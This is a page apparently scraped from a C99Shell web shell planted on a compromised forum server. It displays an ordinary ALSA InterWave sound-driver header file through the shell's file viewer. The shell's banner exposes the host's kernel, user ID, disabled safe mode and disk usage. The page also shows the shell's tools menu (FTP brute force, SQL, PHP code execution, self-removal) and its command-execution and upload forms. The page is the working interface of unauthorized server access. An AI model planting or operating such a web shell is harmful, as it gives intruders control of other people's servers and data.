!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g. PHP/5.2.4-2ubuntu5.12 

uname -a: Linux forum.circlefusion.com 2.6.24-19-server #1 SMP Wed Jun 18 15:18:00 UTC 2008 i686 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/src/linux-headers-2.6.24-28/include/sound/   drwxr-xr-x
Free 1.06 GB of 97.11 GB (1.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ainstr_iw.h (11.71 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/*
 *  Advanced Linux Sound Architecture
 *
 *  InterWave FFFF Instrument Format
 *  Copyright (c) 1994-99 by Jaroslav Kysela <perex@perex.cz>
 *
 *
 *   This program is free software; you can redistribute it and/or modify
 *   it under the terms of the GNU General Public License as published by
 *   the Free Software Foundation; either version 2 of the License, or
 *   (at your option) any later version.
 *
 *   This program is distributed in the hope that it will be useful,
 *   but WITHOUT ANY WARRANTY; without even the implied warranty of
 *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *   GNU General Public License for more details.
 *
 *   You should have received a copy of the GNU General Public License
 *   along with this program; if not, write to the Free Software
 *   Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307 USA
 *
 */

#ifndef __SOUND_AINSTR_IW_H
#define __SOUND_AINSTR_IW_H

#ifndef __KERNEL__
#include <asm/types.h>
#include <asm/byteorder.h>
#endif

/*
 *  share types (share ID 1)
 */

#define IWFFFF_SHARE_FILE        0

/*
 *  wave formats
 */

#define IWFFFF_WAVE_16BIT        0x0001  /* 16-bit wave */
#define IWFFFF_WAVE_UNSIGNED        0x0002  /* unsigned wave */
#define IWFFFF_WAVE_INVERT        0x0002  /* same as unsigned wave */
#define IWFFFF_WAVE_BACKWARD        0x0004  /* backward mode (maybe used for reverb or ping-ping loop) */
#define IWFFFF_WAVE_LOOP        0x0008  /* loop mode */
#define IWFFFF_WAVE_BIDIR        0x0010  /* bidirectional mode */
#define IWFFFF_WAVE_ULAW        0x0020  /* uLaw compressed wave */
#define IWFFFF_WAVE_RAM            0x0040  /* wave is _preloaded_ in RAM (it is used for ROM simulation) */
#define IWFFFF_WAVE_ROM            0x0080  /* wave is in ROM */
#define IWFFFF_WAVE_STEREO        0x0100    /* wave is stereo */

/*
 *  Wavetable definitions
 */

struct iwffff_wave {
    unsigned int share_id[4];    /* share id - zero = no sharing */
    unsigned int format;        /* wave format */

    struct {
        unsigned int number;    /* some other ID for this wave */
        unsigned int memory;    /* begin of waveform in onboard memory */
        unsigned char *ptr;    /* pointer to waveform in system memory */
    } address;

    unsigned int size;        /* size of waveform in samples */
    unsigned int start;        /* start offset in samples * 16 (lowest 4 bits - fraction) */
    unsigned int loop_start;    /* bits loop start offset in samples * 16 (lowest 4 bits - fraction) */
    unsigned int loop_end;        /* loop start offset in samples * 16 (lowest 4 bits - fraction) */
    unsigned short loop_repeat;    /* loop repeat - 0 = forever */
    unsigned int sample_ratio;    /* sample ratio (44100 * 1024 / rate) */
    unsigned char attenuation;    /* 0 - 127 (no corresponding midi controller) */
    unsigned char low_note;        /* lower frequency range for this waveform */
    unsigned char high_note;    /* higher frequency range for this waveform */
    unsigned char pad;
  
    struct iwffff_wave *next;
};

/*
 *  Layer
 */

#define IWFFFF_LFO_SHAPE_TRIANGLE    0
#define IWFFFF_LFO_SHAPE_POSTRIANGLE    1

struct iwffff_lfo {
    unsigned short freq;        /* (0-2047) 0.01Hz - 21.5Hz */
    signed short depth;        /* volume +- (0-255) 0.48675dB/step */
    signed short sweep;        /* 0 - 950 deciseconds */
    unsigned char shape;        /* see to IWFFFF_LFO_SHAPE_XXXX */
    unsigned char delay;        /* 0 - 255 deciseconds */
};

#define IWFFFF_ENV_FLAG_RETRIGGER    0x0001    /* flag - retrigger */

#define IWFFFF_ENV_MODE_ONE_SHOT    0x0001    /* mode - one shot */
#define IWFFFF_ENV_MODE_SUSTAIN        0x0002    /* mode - sustain */
#define IWFFFF_ENV_MODE_NO_SUSTAIN    0x0003    /* mode - no sustain */

#define IWFFFF_ENV_INDEX_VELOCITY    0x0001    /* index - velocity */
#define IWFFFF_ENV_INDEX_FREQUENCY    0x0002    /* index - frequency */

struct iwffff_env_point {
    unsigned short offset;
    unsigned short rate;
};

struct iwffff_env_record {
    unsigned short nattack;
    unsigned short nrelease;
    unsigned short sustain_offset;
    unsigned short sustain_rate;
    unsigned short release_rate;
    unsigned char hirange;
    unsigned char pad;
    struct iwffff_env_record *next;
    /* points are stored here */
    /* count of points = nattack + nrelease */
};

struct iwffff_env {
    unsigned char flags;
      unsigned char mode;
      unsigned char index;
    unsigned char pad;
    struct iwffff_env_record *record;
};

#define IWFFFF_LAYER_FLAG_RETRIGGER    0x0001    /* retrigger */

#define IWFFFF_LAYER_VELOCITY_TIME    0x0000    /* velocity mode = time */
#define IWFFFF_LAYER_VELOCITY_RATE    0x0001    /* velocity mode = rate */

#define IWFFFF_LAYER_EVENT_KUP        0x0000    /* layer event - key up */
#define IWFFFF_LAYER_EVENT_KDOWN    0x0001    /* layer event - key down */
#define IWFFFF_LAYER_EVENT_RETRIG    0x0002    /* layer event - retrigger */
#define IWFFFF_LAYER_EVENT_LEGATO    0x0003    /* layer event - legato */

struct iwffff_layer {
    unsigned char flags;
    unsigned char velocity_mode;
          unsigned char layer_event;
    unsigned char low_range;    /* range for layer based */
    unsigned char high_range;    /* on either velocity or frequency */
    unsigned char pan;        /* pan offset from CC1 (0 left - 127 right) */
    unsigned char pan_freq_scale;    /* position based on frequency (0-127) */
    unsigned char attenuation;    /* 0-127 (no corresponding midi controller) */
    struct iwffff_lfo tremolo;        /* tremolo effect */
    struct iwffff_lfo vibrato;        /* vibrato effect */
    unsigned short freq_scale;    /* 0-2048, 1024 is equal to semitone scaling */
    unsigned char freq_center;    /* center for keyboard frequency scaling */
    unsigned char pad;
    struct iwffff_env penv;        /* pitch envelope */
    struct iwffff_env venv;        /* volume envelope */

    struct iwffff_wave *wave;
    struct iwffff_layer *next;
};

/*
 *  Instrument
 */

#define IWFFFF_EXCLUDE_NONE        0x0000    /* exclusion mode - none */
#define IWFFFF_EXCLUDE_SINGLE        0x0001    /* exclude single - single note from the instrument group */
#define IWFFFF_EXCLUDE_MULTIPLE        0x0002    /* exclude multiple - stop only same note from this instrument */

#define IWFFFF_LAYER_NONE        0x0000    /* not layered */
#define IWFFFF_LAYER_ON            0x0001    /* layered */
#define IWFFFF_LAYER_VELOCITY        0x0002    /* layered by velocity */
#define IWFFFF_LAYER_FREQUENCY        0x0003    /* layered by frequency */

#define IWFFFF_EFFECT_NONE        0
#define IWFFFF_EFFECT_REVERB        1
#define IWFFFF_EFFECT_CHORUS        2
#define IWFFFF_EFFECT_ECHO        3

struct iwffff_instrument {
    unsigned short exclusion;
    unsigned short layer_type;
    unsigned short exclusion_group;    /* 0 - none, 1-65535 */

    unsigned char effect1;        /* effect 1 */
    unsigned char effect1_depth;    /* 0-127 */
    unsigned char effect2;        /* effect 2 */
    unsigned char effect2_depth;    /* 0-127 */

    struct iwffff_layer *layer;        /* first layer */
};

/*
 *
 *    Kernel <-> user space
 *    Hardware (CPU) independent section
 *
 *    * = zero or more
 *    + = one or more
 *
 *    iwffff_xinstrument        IWFFFF_STRU_INSTR
 *      +iwffff_xlayer            IWFFFF_STRU_LAYER
 *        *iwffff_xenv_record        IWFFFF_STRU_ENV_RECT (tremolo)
 *        *iwffff_xenv_record        IWFFFF_STRU_EVN_RECT (vibrato)
 *          +iwffff_xwave        IWFFFF_STRU_WAVE
 *
 */

#define IWFFFF_STRU_WAVE    __cpu_to_be32(('W'<<24)|('A'<<16)|('V'<<8)|'E')
#define IWFFFF_STRU_ENV_RECP    __cpu_to_be32(('E'<<24)|('N'<<16)|('R'<<8)|'P')
#define IWFFFF_STRU_ENV_RECV    __cpu_to_be32(('E'<<24)|('N'<<16)|('R'<<8)|'V')
#define IWFFFF_STRU_LAYER     __cpu_to_be32(('L'<<24)|('A'<<16)|('Y'<<8)|'R')
#define IWFFFF_STRU_INSTR     __cpu_to_be32(('I'<<24)|('N'<<16)|('S'<<8)|'T')

/*
 *  Wavetable definitions
 */

struct iwffff_xwave {
    __u32 stype;            /* structure type */

    __u32 share_id[4];        /* share id - zero = no sharing */

    __u32 format;            /* wave format */
    __u32 offset;            /* offset to ROM (address) */

    __u32 size;            /* size of waveform in samples */
    __u32 start;            /* start offset in samples * 16 (lowest 4 bits - fraction) */
    __u32 loop_start;        /* bits loop start offset in samples * 16 (lowest 4 bits - fraction) */
    __u32 loop_end;            /* loop start offset in samples * 16 (lowest 4 bits - fraction) */
    __u16 loop_repeat;        /* loop repeat - 0 = forever */
    __u32 sample_ratio;        /* sample ratio (44100 * 1024 / rate) */
    __u8 attenuation;        /* 0 - 127 (no corresponding midi controller) */
    __u8 low_note;            /* lower frequency range for this waveform */
    __u8 high_note;            /* higher frequency range for this waveform */
    __u8 pad;
};

/*
 *  Layer
 */

struct iwffff_xlfo {
    __u16 freq;            /* (0-2047) 0.01Hz - 21.5Hz */
    __s16 depth;            /* volume +- (0-255) 0.48675dB/step */
    __s16 sweep;            /* 0 - 950 deciseconds */
    __u8 shape;            /* see to ULTRA_IW_LFO_SHAPE_XXXX */
    __u8 delay;            /* 0 - 255 deciseconds */
};

struct iwffff_xenv_point {
    __u16 offset;
    __u16 rate;
};

struct iwffff_xenv_record {
    __u32 stype;
    __u16 nattack;
    __u16 nrelease;
    __u16 sustain_offset;
    __u16 sustain_rate;
    __u16 release_rate;
    __u8 hirange;
    __u8 pad;
    /* points are stored here.. */
    /* count of points = nattack + nrelease */
};

struct iwffff_xenv {
    __u8 flags;
      __u8 mode;
      __u8 index;
    __u8 pad;
};

struct iwffff_xlayer {
    __u32 stype;
    __u8 flags;
    __u8 velocity_mode;
          __u8 layer_event;
    __u8 low_range;            /* range for layer based */
    __u8 high_range;        /* on either velocity or frequency */
    __u8 pan;            /* pan offset from CC1 (0 left - 127 right) */
    __u8 pan_freq_scale;        /* position based on frequency (0-127) */
    __u8 attenuation;        /* 0-127 (no corresponding midi controller) */
    struct iwffff_xlfo tremolo;        /* tremolo effect */
    struct iwffff_xlfo vibrato;        /* vibrato effect */
    __u16 freq_scale;        /* 0-2048, 1024 is equal to semitone scaling */
    __u8 freq_center;        /* center for keyboard frequency scaling */
    __u8 pad;
    struct iwffff_xenv penv;        /* pitch envelope */
    struct iwffff_xenv venv;        /* volume envelope */
};

/*
 *  Instrument
 */

struct iwffff_xinstrument {
    __u32 stype;
    
    __u16 exclusion;
    __u16 layer_type;
    __u16 exclusion_group;        /* 0 - none, 1-65535 */

    __u8 effect1;            /* effect 1 */
    __u8 effect1_depth;        /* 0-127 */
    __u8 effect2;            /* effect 2 */
    __u8 effect2_depth;        /* 0-127 */
};

/*
 *  ROM support
 *    InterWave ROMs are Little-Endian (x86)
 */

#define IWFFFF_ROM_HDR_SIZE    512

struct iwffff_rom_header {
    __u8 iwave[8];
    __u8 revision;
    __u8 series_number;
    __u8 series_name[16];
    __u8 date[10];
    __u16 vendor_revision_major;
    __u16 vendor_revision_minor;
    __u32 rom_size;
    __u8 copyright[128];
    __u8 vendor_name[64];
    __u8 description[128];
};

/*
 *  Instrument info
 */

#define IWFFFF_INFO_LFO_VIBRATO        (1<<0)
#define IWFFFF_INFO_LFO_VIBRATO_SHAPE    (1<<1)
#define IWFFFF_INFO_LFO_TREMOLO        (1<<2)
#define IWFFFF_INFO_LFO_TREMOLO_SHAPE    (1<<3)

struct iwffff_info {
    unsigned int format;        /* supported format bits */
    unsigned int effects;        /* supported effects (1 << IWFFFF_EFFECT*) */
    unsigned int lfos;        /* LFO effects */
    unsigned int max8_len;        /* maximum 8-bit wave length */
    unsigned int max16_len;        /* maximum 16-bit wave length */
};

#ifdef __KERNEL__

#include "seq_instr.h"

struct snd_iwffff_ops {
    void *private_data;
    int (*info)(void *private_data, struct iwffff_info *info);
    int (*put_sample)(void *private_data, struct iwffff_wave *wave,
                      char __user *data, long len, int atomic);
    int (*get_sample)(void *private_data, struct iwffff_wave *wave,
              char __user *data, long len, int atomic);
    int (*remove_sample)(void *private_data, struct iwffff_wave *wave,
                 int atomic);
    void (*notify)(void *private_data, struct snd_seq_kinstr *instr, int what);
    struct snd_seq_kinstr_ops kops;
};

int snd_seq_iwffff_init(struct snd_iwffff_ops *ops,
            void *private_data,
                        struct snd_seq_kinstr_ops *next);

#endif

/* typedefs for compatibility to user-space */
typedef struct iwffff_xwave iwffff_xwave_t;
typedef struct iwffff_xlfo iwffff_xlfo_t;
typedef struct iwffff_xenv_point iwffff_xenv_point_t;
typedef struct iwffff_xenv_record iwffff_xenv_record_t;
typedef struct iwffff_xenv iwffff_xenv_t;
typedef struct iwffff_xlayer iwffff_xlayer_t;
typedef struct iwffff_xinstrument iwffff_xinstrument_t;
typedef struct iwffff_rom_header iwffff_rom_header_t;
typedef struct iwffff_info iwffff_info_t;

#endif /* __SOUND_AINSTR_IW_H */

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0063 ]--